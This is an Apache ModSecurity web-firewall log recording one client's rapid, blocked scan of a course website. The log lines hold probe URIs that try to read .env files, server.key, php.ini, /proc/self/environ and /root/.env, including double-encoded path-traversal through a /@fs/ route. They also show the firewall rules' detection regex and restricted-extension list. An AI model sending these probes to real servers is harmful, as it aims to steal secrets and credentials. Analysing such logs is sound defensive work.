[Sun Oct 25 11:27:43.030771 2026] [security2:error] [pid 2853395:tid 2853395] [client 34.95.134.179:39558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging.local"] [unique_id "at4f7xUSNe6FSAQsg7tTmQAAABs"]
[Sun Oct 25 11:27:43.031109 2026] [security2:error] [pid 2853395:tid 2853395] [client 34.95.134.179:39558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging.local"] [unique_id "at4f7xUSNe6FSAQsg7tTmQAAABs"]
[Sun Oct 25 11:27:43.034885 2026] [security2:error] [pid 2853385:tid 2853385] [client 34.95.134.179:39518] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/z9x8c7v6b5-debug-trigger-curso-de-ventas.com"] [unique_id "at4f705S67VsMPipgjz2zAAAABA"]
[Sun Oct 25 11:27:43.035149 2026] [security2:error] [pid 2853385:tid 2853385] [client 34.95.134.179:39518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/z9x8c7v6b5-debug-trigger-curso-de-ventas.com"] [unique_id "at4f705S67VsMPipgjz2zAAAABA"]
[Sun Oct 25 11:27:43.035416 2026] [security2:error] [pid 2853385:tid 2853385] [client 34.95.134.179:39518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/z9x8c7v6b5-debug-trigger-curso-de-ventas.com"] [unique_id "at4f705S67VsMPipgjz2zAAAABA"]
[Sun Oct 25 11:27:43.259297 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.config"] [unique_id "at4f71uooNxFuMkRFYH-wAAAAAE"]
[Sun Oct 25 11:27:43.259590 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.config"] [unique_id "at4f71uooNxFuMkRFYH-wAAAAAE"]
[Sun Oct 25 11:27:43.259898 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.config"] [unique_id "at4f71uooNxFuMkRFYH-wAAAAAE"]
[Sun Oct 25 11:27:43.347332 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f74Q1ZDwVc2SXNbtpvQAAAAU"]
[Sun Oct 25 11:27:43.348024 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f74Q1ZDwVc2SXNbtpvQAAAAU"]
[Sun Oct 25 11:27:43.348477 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/src/.env"] [unique_id "at4f74Q1ZDwVc2SXNbtpvQAAAAU"]
[Sun Oct 25 11:27:43.370918 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4f7_Y1ZNQQi0iq1lVhRgAAAAA"]
[Sun Oct 25 11:27:43.371031 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4f7_Y1ZNQQi0iq1lVhRgAAAAA"]
[Sun Oct 25 11:27:43.371087 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4f7_Y1ZNQQi0iq1lVhRgAAAAA"]
[Sun Oct 25 11:27:43.371681 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4f7_Y1ZNQQi0iq1lVhRgAAAAA"]
[Sun Oct 25 11:27:43.372052 2026] [security2:error] [pid 2855791:tid 2855791] [client 34.95.134.179:39614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4f7_Y1ZNQQi0iq1lVhRgAAAAA"]
[Sun Oct 25 11:27:43.470533 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/server.key"] [unique_id "at4f7xO6lhYf13K488t6ggAAAAk"]
[Sun Oct 25 11:27:43.471010 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/server.key"] [unique_id "at4f7xO6lhYf13K488t6ggAAAAk"]
[Sun Oct 25 11:27:43.471570 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/server.key"] [unique_id "at4f7xO6lhYf13K488t6ggAAAAk"]
[Sun Oct 25 11:27:43.529654 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.529751 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.529817 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.529892 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.530415 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.530649 2026] [authz_core:error] [pid 2853381:tid 2853381] [client 34.95.134.179:39536] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:27:43.530854 2026] [security2:error] [pid 2847214:tid 2847214] [client 34.95.134.179:39508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4f7_hVEu9HLPc5D-_6NAAAACk"]
[Sun Oct 25 11:27:43.554346 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f71uooNxFuMkRFYH-wQAAAAE"]
[Sun Oct 25 11:27:43.554495 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f71uooNxFuMkRFYH-wQAAAAE"]
[Sun Oct 25 11:27:43.555024 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f71uooNxFuMkRFYH-wQAAAAE"]
[Sun Oct 25 11:27:43.555374 2026] [security2:error] [pid 2852968:tid 2852968] [client 34.95.134.179:39550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at4f71uooNxFuMkRFYH-wQAAAAE"]
[Sun Oct 25 11:27:44.089606 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4f8BO6lhYf13K488t6gwAAAAk"]
[Sun Oct 25 11:27:44.090177 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4f8BO6lhYf13K488t6gwAAAAk"]
[Sun Oct 25 11:27:44.090509 2026] [security2:error] [pid 2853378:tid 2853378] [client 34.95.134.179:39570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4f8BO6lhYf13K488t6gwAAAAk"]
[Sun Oct 25 11:27:44.094194 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4f8IQ1ZDwVc2SXNbtpvgAAAAU"]
[Sun Oct 25 11:27:44.094618 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4f8IQ1ZDwVc2SXNbtpvgAAAAU"]
[Sun Oct 25 11:27:44.094850 2026] [security2:error] [pid 2853376:tid 2853376] [client 34.95.134.179:39512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4f8IQ1ZDwVc2SXNbtpvgAAAAU"]
